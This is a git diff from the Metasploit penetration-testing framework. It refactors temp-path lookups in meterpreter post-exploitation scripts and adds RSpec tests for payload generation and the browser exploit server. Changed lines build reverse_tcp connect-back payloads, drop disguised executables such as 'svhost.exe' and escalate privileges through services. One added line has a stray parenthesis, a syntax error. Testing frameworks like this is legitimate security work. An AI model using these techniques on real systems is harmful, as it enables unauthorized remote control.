 #---------------------------------------------------------------------------------------------------------
 def read_program_list
diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb
index 390ee6b99a..d5f2703288 100644
--- a/scripts/meterpreter/remotewinenum.rb
+++ b/scripts/meterpreter/remotewinenum.rb
@@ -57,7 +57,7 @@ def wmicexec(session,wmic,user,pass,trgt)
   runfail = 0
   runningas = session.sys.config.getuid
   begin
-    tmp = session.fs.file.expand_path("%TEMP%")
+    tmp = session.sys.config.getenv('TEMP')
     # Temporary file on windows host to store results
     wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt"
 
diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb
index adc89c5150..edf4287d9a 100644
--- a/scripts/meterpreter/scheduleme.rb
+++ b/scripts/meterpreter/scheduleme.rb
@@ -179,7 +179,7 @@ end
 #---------------------------------------------------------------------------------------------------------
 
 def upload(session,file)
-  location = session.fs.file.expand_path("%TEMP%")
+  location = session.sys.config.getenv('TEMP')
   fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
   print_status("Uploading #{file}....")
   session.fs.file.upload_file("#{fileontrgt}","#{file}")
diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb
index e74e08da35..78153842d5 100644
--- a/scripts/meterpreter/schelevator.rb
+++ b/scripts/meterpreter/schelevator.rb
@@ -99,6 +99,10 @@ upload_fn = nil
   end
 }
 
+envs = session.sys.config.getenvs('SystemRoot', 'TEMP')
+sysdir = envs['SystemRoot']
+tmpdir = envs['TEMP']
+
 # Must have at least one of -c or -u
 if not cmd and not upload_fn
   print_status("Using default reverse-connect meterpreter payload; -c or -u not specified")
@@ -110,9 +114,8 @@ if not cmd and not upload_fn
   raw  = pay.generate
   exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
   #and placing it on the target in %TEMP%
-  tempdir = client.fs.file.expand_path("%TEMP%")
   tempexename = Rex::Text.rand_text_alpha(rand(8)+6)
-  cmd = tempdir + "\\" + tempexename + ".exe"
+  cmd = tmpdir + "\\" + tempexename + ".exe"
   print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}")
   fd = client.fs.file.new(cmd, "wb")
   fd.write(exe)
@@ -139,8 +142,6 @@ end
 #
 # Upload the payload command if needed
 #
-sysdir = session.fs.file.expand_path("%SystemRoot%")
-tmpdir = session.fs.file.expand_path("%TEMP%")
 if upload_fn
   begin
     location = tmpdir.dup
diff --git a/scripts/meterpreter/scraper.rb b/scripts/meterpreter/scraper.rb
index 69faa5dd95..594383e575 100644
--- a/scripts/meterpreter/scraper.rb
+++ b/scripts/meterpreter/scraper.rb
@@ -73,7 +73,7 @@ logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" +
 unsupported if client.platform !~ /win32|win64/i
 begin
 
-  tmp = client.fs.file.expand_path("%TEMP%")
+  tmp = client.sys.config.getenv('TEMP')
 
   print_status("Gathering basic system information...")
 
diff --git a/scripts/meterpreter/service_permissions_escalate.rb b/scripts/meterpreter/service_permissions_escalate.rb
index 0f3c4bbdae..adba32dbb8 100644
--- a/scripts/meterpreter/service_permissions_escalate.rb
+++ b/scripts/meterpreter/service_permissions_escalate.rb
@@ -51,6 +51,10 @@ opts.parse(args) do |opt, idx, val|
   end
 end
 
+envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT')
+tempdir = envs['TEMP']
+sysdir = envs['SYSTEMROOT']
+
 # Get the exe payload.
 pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
 pay.datastore['LHOST'] = rhost
@@ -58,9 +62,8 @@ pay.datastore['LPORT'] = rport
 raw  = pay.generate
 exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
 #and placing it on the target in %TEMP%
-tempdir = client.fs.file.expand_path("%TEMP%")
 tempexename = Rex::Text.rand_text_alpha((rand(8)+6))
-tempexe = tempdir + "\\" + tempexename + ".exe"
+tempexe = "#{tempdir}\\#{tempexename}.exe"
 print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")
 fd = client.fs.file.new(tempexe, "wb")
 fd.write(exe)
@@ -129,7 +132,7 @@ service_list.each do |serv|
     moved = false
     configed = false
     #default path, but there should be an ImagePath registry key
-    source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
+    source = "#{sysdir}\\system32\\#{serv}.exe")
     #get path to exe; parse out quotes and arguments
     sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
     sourcemaybe = client.fs.file.expand_path(sourceorig)
diff --git a/scripts/meterpreter/srt_webdrive_priv.rb b/scripts/meterpreter/srt_webdrive_priv.rb
index 0b6f622ede..deb7748615 100644
--- a/scripts/meterpreter/srt_webdrive_priv.rb
+++ b/scripts/meterpreter/srt_webdrive_priv.rb
@@ -87,7 +87,7 @@ client.sys.process.get_processes().each do |m|
     exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
 
     # Place our newly created exe in %TEMP%
-    tempdir = client.fs.file.expand_path("%TEMP%")
+    tempdir = client.sys.config.getenv('TEMP')
     tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
     print_status("Sending EXE payload '#{tempexe}'.")
     fd = client.fs.file.new(tempexe, "wb")
diff --git a/scripts/meterpreter/uploadexec.rb b/scripts/meterpreter/uploadexec.rb
index e7044b5360..fe19bfb3f0 100644
--- a/scripts/meterpreter/uploadexec.rb
+++ b/scripts/meterpreter/uploadexec.rb
@@ -23,7 +23,7 @@ def upload(session,file,trgloc = "")
     raise "File to Upload does not exists!"
   else
     if trgloc == ""
-    location = session.fs.file.expand_path("%TEMP%")
+    location = session.sys.config.getenv('TEMP')
     else
       location = trgloc
     end
diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb
index ccb56af973..c13c803061 100644
--- a/scripts/meterpreter/virusscan_bypass.rb
+++ b/scripts/meterpreter/virusscan_bypass.rb
@@ -32,7 +32,7 @@ def upload(session,file,trgloc)
   if not ::File.exists?(file)
     raise "File to Upload does not exists!"
   else
-    @location = session.fs.file.expand_path("%TEMP%")
+    @location = session.sys.config.getenv('TEMP')
     begin
       ext = file.scan(/\S*(.exe)/i)
       if ext.join == ".exe"
diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb
index bda180d16f..2f398d9e38 100644
--- a/scripts/meterpreter/vnc.rb
+++ b/scripts/meterpreter/vnc.rb
@@ -152,7 +152,7 @@ else
   #
   # Upload to the filesystem
   #
-  tempdir = client.fs.file.expand_path("%TEMP%")
+  tempdir = client.sys.config.getenv('TEMP')
   tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
   tempexe.gsub!("\\\\", "\\")
 
diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb
index 94bd070f03..222ba394f4 100644
--- a/scripts/meterpreter/win32-sshclient.rb
+++ b/scripts/meterpreter/win32-sshclient.rb
@@ -87,7 +87,7 @@ def upload(client,file,trgloc = nil)
     raise "File to Upload does not exists!"
   else
     if trgloc == nil
-      location = client.fs.file.expand_path("%TEMP%")
+      location = client.sys.config.getenv('TEMP')
     else
       location = trgloc
     end
diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb
index f494c5076e..34eb1e97aa 100644
--- a/scripts/meterpreter/winenum.rb
+++ b/scripts/meterpreter/winenum.rb
@@ -264,7 +264,7 @@ def wmicexec(wmiccmds= nil)
   @client.response_timeout=120
 
   begin
-    tmp = @client.fs.file.expand_path("%TEMP%")
+    tmp = @client.sys.config.getenv('TEMP')
 
     wmiccmds.each do |wmi|
       if i < 10
@@ -409,7 +409,7 @@ end
 def chmace(cmds)
   windir = ''
   print_status("Changing Access Time, Modified Time and Created Time of Files Used")
-  windir = @client.fs.file.expand_path("%WinDir%")
+  windir = @client.sys.config.getenv('WinDir')
   cmds.each do |c|
     begin
       @client.core.use("priv")
@@ -430,7 +430,7 @@ def regdump(pathoflogs,filename)
   #This variable will only contain garbage, it is to make sure that the channel is not closed while the reg is being dumped and compress
   garbage = ''
   hives = %w{HKCU HKLM HKCC HKCR HKU}
-  windir = @client.fs.file.expand_path("%WinDir%")
+  windir = @client.sys.config.getenv('WinDir')
   print_status('Dumping and Downloading the Registry')
   hives.each do |hive|
     begin
diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb
index 0e038478a0..ccf6121196 100644
--- a/scripts/meterpreter/wmic.rb
+++ b/scripts/meterpreter/wmic.rb
@@ -22,7 +22,7 @@ def wmicexec(session,wmiccmds= nil)
   tmpout = ''
   session.response_timeout=120
   begin
-    tmp = session.fs.file.expand_path("%TEMP%")
+    tmp = session.sys.config.getenv('TEMP')
     wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000))
     wmiccmds.each do |wmi|
       print_status "running command wmic #{wmi}"
diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb
index d45e9d4ac4..87a87ce691 100644
--- a/scripts/shell/spawn_meterpreter.rb
+++ b/scripts/shell/spawn_meterpreter.rb
@@ -18,17 +18,39 @@ def progress(total, sent)
 end
 
 
-raise RuntimeError, "You must select a session." if (not session)
-raise RuntimeError, "Selected session is not a command shell session!" if (session.type != "shell")
+#
+# Returns if a port is used by a session
+#
+def is_port_used?(port)
+  framework.sessions.each do |sid, obj|
+    local_info = obj.instance_variable_get(:@local_info)
+    return true if local_info =~ /:#{port}$/
+  end
 
-# Check for required datastore options
-if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT'])
-  raise RuntimeError, "You must set LPORT and LHOST for this script to work."
+  false
 end
 
+#
+# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost
+#
+lhost = framework.datastore['LHOST']
+unless lhost
+  lhost = Rex::Socket.source_address
+end
 
-lhost = session.exploit_datastore['LHOST']
-lport = session.exploit_datastore['LPORT']
+#
+# If there is no LPORT defined in framework, then pick a random one that's not used
+# by current sessions. This is possible if the user assumes module datastore options
+# are the same as framework datastore options.
+#
+lport = framework.datastore['LPORT']
+unless lport
+  lport = 4444 # Default meterpreter port
+  while is_port_used?(lport)
+    # Pick a port that's not used
+    lport = [*49152..65535].sample
+  end
+end
 
 # maybe we want our sessions going to another instance?
 use_handler = true
diff --git a/spec/file_fixtures/nop_shellcode.bin b/spec/file_fixtures/nop_shellcode.bin
new file mode 100644
index 0000000000..ae8871d84b
--- /dev/null
+++ b/spec/file_fixtures/nop_shellcode.bin
@@ -0,0 +1 @@
+����
\ No newline at end of file
diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb
index 10b694dd5d..7edffaa04f 100644
--- a/spec/lib/msf/core/exploit/http/client_spec.rb
+++ b/spec/lib/msf/core/exploit/http/client_spec.rb
@@ -2,16 +2,49 @@
 require 'spec_helper'
 
 require 'msf/core'
+require 'msf/core/data_store'
 require 'msf/core/exploit/http/client'
 
 describe Msf::Exploit::Remote::HttpClient do
   subject do
-    mod = Module.new
+    mod = ::Msf::Module.new
     mod.extend described_class
-
     mod
   end
 
+  describe '#vhost' do
+
+    let(:rhost) do
+      'rhost.example.com'
+    end
+
+    let(:vhost) do
+      'vhost.example.com'
+    end
+
+    context 'when vhost is defined' do
+      let(:cli_vhost) do
+        subject.datastore['VHOST'] = vhost
+        subject
+      end
+      it "should return the set vhost" do
+        cli_vhost.vhost.should == vhost
+      end
+    end
+
+    context 'when only rhost is defined' do
+      let(:cli_rhost) do
+        subject.datastore['RHOST'] = rhost
+        subject
+      end
+      it "should return the rhost as the vhost" do
+        cli_rhost.datastore['VHOST'].should be_nil
+        cli_rhost.vhost.should == rhost
+      end
+    end
+
+  end
+
   describe '#normalize_uri' do
     let(:expected_normalized_uri) do
       '/a/b/c'
diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb
index 53d4b035a7..c9708dc5eb 100644
--- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb
+++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb
@@ -15,7 +15,6 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
     service = double("service")
     service.stub(:server_name=)
     service.stub(:add_resource)
-
     service
   end
 
@@ -31,6 +30,10 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
     "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
   end
 
+  let(:exploit_page) do
+    server.instance_variable_get(:@exploit_receiver_page)
+  end
+
   let(:expected_profile) do
     {
       :source=>"script",
@@ -57,9 +60,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
 
   describe ".get_module_resource" do
     it "should give me a URI to access the exploit page" do
-      ivar_exploit_page = server.instance_variable_get(:@exploit_receiver_page)
       module_resource = server.get_module_resource
-      module_resource.should match(ivar_exploit_page)
+      module_resource.should match(exploit_page)
     end
   end
 
@@ -221,4 +223,73 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
     end
   end
 
+  describe '.on_request_uri' do
+    let(:cli)     { double(:peerhost => '0.0.0.0') }
+    let(:cookie)  { '' }
+    let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} }
+    let(:body)    { '' }
+    let(:cookie_name) { Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME }
+    let(:request) do
+      double(:body => body, :headers => headers, :uri => server.get_resource )
+    end
+
+    before do
+      server.stub(:send_redirect)
+      server.stub(:send_response)
+      server.stub(:send_not_found)
+    end
+
+    context 'when a new visitor requests the exploit' do
+      it 'calls send_response once' do
+        server.should_receive(:send_response).once
+        server.on_request_uri(cli, request)
+      end
+
+      it 'serves the os.js detection script' do
+        server.should_receive(:send_response) do |cli, html, headers|
+          expect(html).to include('window.os_detect')
+        end
+        server.on_request_uri(cli, request)
+      end
+    end
+
+    context 'when a returning visitor requests the exploit' do
+      let(:body) { '' }
+      let(:tag) { 'joe' }
+      let(:cookie) { "#{cookie_name}=#{tag}" }
+
+      before { server.init_profile(tag) }
+
+      it 'calls send_redirect once' do
+        server.should_receive(:send_redirect).once
+        server.on_request_uri(cli, request)
+      end
+
+      it 'redirects to the exploit URL' do
+        server.should_receive(:send_redirect) do |cli, url|
+          expect(url).to end_with("#{exploit_page}/")
+        end
+        server.on_request_uri(cli, request)
+      end
+    end
+
+    context 'when a returning visitor from a previous msf run requests the exploit' do
+      let(:body) { '' }
+      let(:tag) { 'joe' }
+      let(:cookie) { "#{cookie_name}=#{tag}" }
+
+      it 'calls send_response once' do
+        server.should_receive(:send_response).once
+        server.on_request_uri(cli, request)
+      end
+
+      it 'serves the os.js detection script' do
+        server.should_receive(:send_response) do |cli, html, headers|
+          expect(html).to include('window.os_detect')
+        end
+        server.on_request_uri(cli, request)
+      end
+    end
+  end
+
 end
\ No newline at end of file
diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb
new file mode 100644
index 0000000000..b6f5a7d4d0
--- /dev/null
+++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb
@@ -0,0 +1,34 @@
+require 'spec_helper'
+require 'msf/core'
+
+describe Msf::Exploit::Remote::FirefoxAddonGenerator do
+  let(:datastore) { { 'TARGET' => 0 } }
+  let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) }
+  let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) }
+  let(:framework) { double(:nops => nil) }
+  let(:cli) { double }
+
+  subject(:mod) do
+    mod = Msf::Exploit::Remote.allocate
+    mod.extend described_class
+    mod.extend Msf::Exploit::Remote::BrowserExploitServer
+    mod.send(:initialize, {})
+    mod.stub(
+      :payload => payload,
+      :regenerate_payload => payload,
+      :framework => framework,
+      :datastore => datastore
+    )
+    mod
+  end
+
+  describe '#generate_addon_xpi' do
+    let(:xpi) { mod.generate_addon_xpi(cli) }
+
+    it { should respond_to :generate_addon_xpi }
+
+    it 'should return an instance of Rex::Zip::Archive' do
+      xpi.should be_kind_of Rex::Zip::Archive
+    end
+  end
+end
diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb
index d9bde3a5ea..c6eadf591b 100644
--- a/spec/lib/msf/core/framework_spec.rb
+++ b/spec/lib/msf/core/framework_spec.rb
@@ -6,7 +6,7 @@ require 'msf/core/framework'
 describe Msf::Framework do
 
   describe "#version" do
-    CURRENT_VERSION = "4.9.0-dev"
+    CURRENT_VERSION = "4.9.2-dev"
 
     subject do
       described_class.new
diff --git a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb
new file mode 100644
index 0000000000..a6d8414b78
--- /dev/null
+++ b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb
@@ -0,0 +1,89 @@
+require 'spec_helper'
+require 'msf/core/handler/reverse_http/uri_checksum'
+
+describe Msf::Handler::ReverseHttp::UriChecksum do
+   class DummyClass
+     include Msf::Handler::ReverseHttp::UriChecksum
+   end
+
+  subject(:dummy_object) { DummyClass.new }
+
+  it { should respond_to :generate_uri_checksum}
+  it { should respond_to :process_uri_resource}
+
+  describe '#generate_uri_checksum' do
+    let(:checksum_value) { 92 }
+
+    it 'generates a string that checksums back to the original value' do
+      uri_string = dummy_object.generate_uri_checksum(checksum_value)
+      expect(Rex::Text.checksum8(uri_string)).to eq checksum_value
+    end
+
+    context 'when it fails to generate a random URI' do
+      it 'should use the pre-calculated checksum string' do
+        Rex::Text.stub(:checksum8) { false }
+        expect(dummy_object.generate_uri_checksum(checksum_value)).to eq Msf::Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_PRECALC[checksum_value]
+      end
+
+    end
+  end
+
+  describe '#process_uri_resource' do
+    context 'when passed a value for INITW' do
+      let(:uri) { "/7E37v"}
+
+      it 'returns a static value of /INITM' do
+        expect(dummy_object.process_uri_resource(uri)).to eq '/INITM'
+      end
+
+      context 'with junk appended at the end' do
+        let(:uri) { "/7E37v_foobar"}
+
+        it 'returns a static value of /INITM' do
+          expect(dummy_object.process_uri_resource(uri)).to eq '/INITM'
+        end
+      end
+    end
+
+    context 'when passed a value for INITJ' do
+      let(:uri) { "/a6BF9"}
+
+      it 'returns a static value of /INITJM' do
+        expect(dummy_object.process_uri_resource(uri)).to eq '/INITJM'
+      end
+
+      context 'with junk appended at the end' do
+        let(:uri) { "/a6BF9_foobar"}
+
+        it 'returns a static value of /INITJM' do
+          expect(dummy_object.process_uri_resource(uri)).to eq '/INITJM'
+        end
+      end
+    end
+
+    context 'when passed a value for CONN' do
+      let(:uri) { "/39ab3"}
+
+      it 'returns /CONN plus random junk' do
+        expect(dummy_object.process_uri_resource(uri)).to match(/\/CONN_(\w){16}/)
+      end
+
+      context 'with junk appended at the end' do
+        let(:uri) { "/39ab3_foobar"}
+
+        it 'returns /CONN plus the junk' do
+          expect(dummy_object.process_uri_resource(uri)).to eq '/CONN_foobar'
+        end
+      end
+    end
+
+    context 'when passed a junk value' do
+      let(:uri) { "/lolz"}
+
+      it 'returns the original uri string' do
+        expect(dummy_object.process_uri_resource(uri)).to eq '/lolz'
+      end
+    end
+  end
+
+end
\ No newline at end of file
diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb
index bb2762782a..3dfda82b0a 100644
--- a/spec/lib/msf/core/modules/loader/directory_spec.rb
+++ b/spec/lib/msf/core/modules/loader/directory_spec.rb
@@ -55,7 +55,7 @@ describe Msf::Modules::Loader::Directory do
 
           created_module = module_manager.create(module_full_name)
 
-          created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption'
+          created_module.name.should == 'MS08-067 Microsoft Server Service Relative Path Stack Corruption'
         end
 
         context 'with module previously loaded' do
diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb
new file mode 100644
index 0000000000..09ff3b5be4
--- /dev/null
+++ b/spec/lib/msf/core/payload_generator_spec.rb
@@ -0,0 +1,533 @@
+require 'spec_helper'
+require 'msf/core/payload_generator'
+
+describe Msf::PayloadGenerator do
+
+  PAYLOAD_FRAMEWORK = Msf::Simple::Framework.create(
+      :module_types => [  ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP],
+      'DisableDatabase' => true,
+      'DisableLogging' => true
+  )
+
+  let(:lhost) { "192.168.172.1"}
+  let(:lport) { "8443" }
+  let(:datastore) { { "LHOST" => lhost, "LPORT" => lport } }
+  let(:add_code) { false }
+  let(:arch) { "x86" }
+  let(:badchars) { "\x20\x0D\x0A" }
+  let(:encoder)  { 'x86/shikata_ga_nai' }
+  let(:format) { "raw" }
+  let(:framework) { PAYLOAD_FRAMEWORK }
+  let(:iterations) { 1 }
+  let(:keep) { false }
+  let(:nops) { 0 }
+  let(:payload) { "windows/meterpreter/reverse_tcp"}
+  let(:platform) { "Windows" }
+  let(:space) { 1073741824 }
+  let(:stdin) { nil }
+  let(:template) { File.join(Msf::Config.data_directory, "templates", "template_x86_windows.exe") }
+  let(:generator_opts) {
+    {
+        add_code: add_code,
+        arch: arch,
+        badchars: badchars,
+        encoder: encoder,
+        datastore: datastore,
+        format: format,
+        framework: framework,
+        iterations: iterations,
+        keep: keep,
+        nops: nops,
+        payload: payload,
+        platform: platform,
+        space: space,
+        stdin: stdin,
+        template: template
+    }
+  }
+  let(:payload_module) { framework.payloads.create(payload)}
+  let(:shellcode) { "\x50\x51\x58\x59" }
+  let(:encoder_module) { framework.encoders.create('x86/shikata_ga_nai') }
+
+  subject(:payload_generator) { described_class.new(generator_opts) }
+
+  it { should respond_to :add_code }
+  it { should respond_to :arch }
+  it { should respond_to :badchars }
+  it { should respond_to :cli }
+  it { should respond_to :encoder }
+  it { should respond_to :datastore }
+  it { should respond_to :format }
+  it { should respond_to :framework }
+  it { should respond_to :iterations }
+  it { should respond_to :keep }
+  it { should respond_to :nops }
+  it { should respond_to :payload }
+  it { should respond_to :platform }
+  it { should respond_to :space }
+  it { should respond_to :stdin }
+  it { should respond_to :template }
+
+  context 'when creating a new generator' do
+    subject(:new_payload_generator) { -> { described_class.new(generator_opts) } }
+
+    context 'when not given a framework instance' do
+      let(:generator_opts) {
+        {
+            add_code: add_code,
+            arch: arch,
+            badchars: badchars,
+            encoder: encoder,
+            datastore: datastore,
+            format: format,
+            iterations: iterations,
+            keep: keep,
+            nops: nops,
+            payload: payload,
+            platform: platform,
+            space: space,
+            stdin: stdin,
+            template: template
+        }
+      }
+
+      it { should raise_error(KeyError, "key not found: :framework") }
+    end
+
+    context 'when not given a payload' do
+      let(:payload) { nil }
+
+      it { should raise_error(ArgumentError, "Invalid Payload Selected") }
+    end
+
+    context 'when given an invalid payload' do
+      let(:payload) { "beos/meterpreter/reverse_gopher" }
+
+      it { should raise_error(ArgumentError, "Invalid Payload Selected") }
+    end
+
+    context 'when given a payload through stdin' do
+      let(:payload) { "stdin" }
+
+      it { should_not raise_error }
+    end
+
+    context 'when given an invalid format' do
+      let(:format) { "foobar" }
+
+      it { should raise_error(ArgumentError, "Invalid Format Selected") }
+    end
+
+    context 'when given any valid transform format' do
+      let(:format) { ::Msf::Simple::Buffer.transform_formats.sample }
+
+      it { should_not raise_error }
+    end
+
+    context 'when given any valid executable format' do
+      let(:format) { ::Msf::Util::EXE.to_executable_fmt_formats.sample }
+
+      it { should_not raise_error }
+    end
+  end
+
+  context 'when not given a platform' do
+    let(:platform) { '' }
+
+    context '#platform_list' do
+      it 'returns an empty PlatformList' do
+        expect(payload_generator.platform_list.platforms).to be_empty
+      end
+    end
+
+    context '#choose_platform' do
+      it 'chooses the platform list for the module' do
+        expect(payload_generator.choose_platform(payload_module).platforms).to eq [Msf::Module::Platform::Windows]
+      end
+
+      it 'sets the platform attr to the first platform of the module' do
+        my_generator = payload_generator
+        my_generator.choose_platform(payload_module)
+        expect(my_generator.platform).to eq "Windows"
+      end
+    end
+
+  end
+
+  context 'when given an invalid platform' do
+    let(:platform) { 'foobar' }
+
+    context '#platform_list' do
+      it 'returns an empty PlatformList' do
+        expect(payload_generator.platform_list.platforms).to be_empty
+      end
+    end
+
+    context '#choose_platform' do
+      it 'chooses the platform list for the module' do
+        expect(payload_generator.choose_platform(payload_module).platforms).to eq [Msf::Module::Platform::Windows]
+      end
+    end
+
+  end
+
+  context 'when given a valid platform' do
+
+    context '#platform_list' do
+      it 'returns a PlatformList containing the Platform class' do
+        expect(payload_generator.platform_list.platforms.first).to eq Msf::Module::Platform::Windows
+      end
+    end
+
+    context '#choose_platform' do
+      context 'when the chosen platform matches the module' do
+        it 'returns the PlatformList for the selected platform' do
+          expect(payload_generator.choose_platform(payload_module).platforms).to eq payload_generator.platform_list.platforms
+        end
+      end
+
+      context 'when the chosen platform and module do not match' do
+        let(:platform) { "linux" }
+        it 'returns an empty PlatformList' do
+          expect(payload_generator.choose_platform(payload_module).platforms).to be_empty
+        end
+      end
+    end
+
+  end
+
+  context '#choose_arch' do
+    context 'when no arch is selected' do
+      let(:arch) { '' }
+
+      it 'returns the first arch of the module' do
+        expect(payload_generator.choose_arch(payload_module)).to eq "x86"
+      end
+
+      it 'sets the arch to match the module' do
+        my_generator = payload_generator
+        my_generator.choose_arch(payload_module)
+        expect(my_generator.arch).to eq "x86"
+      end
+    end
+
+    context 'when the arch matches the module' do
+      it 'returns the selected arch' do
+        expect(payload_generator.choose_arch(payload_module)).to eq arch
+      end
+    end
+
+    context 'when the arch does not match the module' do
+      let(:arch) { "mipsle" }
+
+      it "returns nil" do
+        expect(payload_generator.choose_arch(payload_module)).to be_nil
+      end
+    end
+  end
+
+  context '#generate_raw_payload' do
+
+    context 'when passing a payload through stdin' do
+      let(:stdin) { "\x90\x90\x90"}
+      let(:payload) { "stdin" }
+
+      context 'when no arch has been selected' do
+        let(:arch) { '' }
+
+        it 'raises an IncompatibleArch error' do
+          expect{payload_generator.generate_raw_payload}.to raise_error(Msf::IncompatibleArch, "You must select an arch for a custom payload")
+        end
+      end
+
+      context 'when no platform has been selected' do
+        let(:platform) { '' }
+
+        it 'raises an IncompatiblePlatform error' do
+          expect{payload_generator.generate_raw_payload}.to raise_error(Msf::IncompatiblePlatform, "You must select a platform for a custom payload")
+        end
+      end
+
+      it 'returns the payload from stdin' do
+        expect(payload_generator.generate_raw_payload).to eq stdin
+      end
+    end
+
+    context 'when selecting a metasploit payload' do
+      context 'when the platform is incompatible with the payload' do
+        let(:platform) { "linux" }
+
+        it 'raises an IncompatiblePlatform error' do
+          expect{payload_generator.generate_raw_payload}.to raise_error(Msf::IncompatiblePlatform, "The selected platform is incompatible with the payload")
+        end
+      end
+
+      context 'when the arch is incompatible with the payload' do
+        let(:arch) { "mipsle" }
+
+        it 'raises an IncompatibleArch error' do
+          expect{payload_generator.generate_raw_payload}.to raise_error(Msf::IncompatibleArch, "The selected arch is incompatible with the payload")
+        end
+      end
+
+      context 'when one or more datastore options are missing' do
+        let(:datastore) { {} }
+
+        it 'should raise an error' do
+          expect{payload_generator.generate_raw_payload}.to raise_error(Msf::OptionValidateError)
+        end
+      end
+
+      it 'returns the raw bytes of the payload' do
+        expect(payload_generator.generate_raw_payload).to be_present
+      end
+    end
+  end
+
+  context '#add_shellcode' do
+
+    context 'when add_code is empty' do
+      it 'returns the original shellcode' do
+        expect(payload_generator.add_shellcode(shellcode)).to eq shellcode
+      end
+    end
+
+    context 'when add_code points to a valid file' do
+      let(:add_code) { File.join(FILE_FIXTURES_PATH, "nop_shellcode.bin")}
+
+      context 'but platform is not Windows' do
+        let(:platform) { "Linux" }
+
+        it 'returns the original shellcode' do
+          expect(payload_generator.add_shellcode(shellcode)).to eq shellcode
+        end
+      end
+
+      context 'but arch is not x86' do
+        let(:arch) { "x86_64" }
+
+        it 'returns the original shellcode' do
+          expect(payload_generator.add_shellcode(shellcode)).to eq shellcode
+        end
+      end
+
+
+      it 'returns modified shellcode' do
+        pending "This is a bad test and needs to be refactored"
+        # The exact length is variable due to random nops inserted into the routine
+        # It looks like it should always be > 300
+        # Can't do precise output matching due to this same issue
+        expect(payload_generator.add_shellcode(shellcode).length).to be > 300
+      end
+    end
+
+    context 'when add_code points to an invalid file' do
+      let(:add_code) { "gurfjhfdjhfdsjhfsdvfverf444" }
+      it 'raises an error' do
+        expect{payload_generator.add_shellcode(shellcode)}.to raise_error(Errno::ENOENT)
+      end
+    end
+  end
+
+  context '#prepend_nops' do
+    context 'when nops are set to 0' do
+      it 'returns the unmodified shellcode' do
+        expect(payload_generator.prepend_nops(shellcode)).to eq shellcode
+      end
+    end
+
+    context 'when nops are set to more than 0' do
+      let(:nops) { 20 }
+
+      it 'returns shellcode of the correct size' do
+        expect(payload_generator.prepend_nops(shellcode).length).to eq 24
+      end
+
+      it 'puts the nops in front of the original shellcode' do
+        expect(payload_generator.prepend_nops(shellcode)[20,24]).to eq shellcode
+      end
+    end
+  end
+
+  context '#get_encoders' do
+    let(:encoder_names) { ["Polymorphic XOR Additive Feedback Encoder", "Alpha2 Alphanumeric Mixedcase Encoder" ] }
+
+    context 'when an encoder is selected' do
+      it 'returns an array' do
+        expect(payload_generator.get_encoders).to be_kind_of Array
+      end
+
+      it 'returns an array with only one element' do
+        expect(payload_generator.get_encoders.count).to eq 1
+      end
+
+      it 'returns the correct encoder in the array' do
+        expect(payload_generator.get_encoders.first.name).to eq encoder_names[0]
+      end
+    end
+
+    context 'when multiple encoders are selected' do
+      let(:encoder) { "x86/shikata_ga_nai,x86/alpha_mixed"}
+
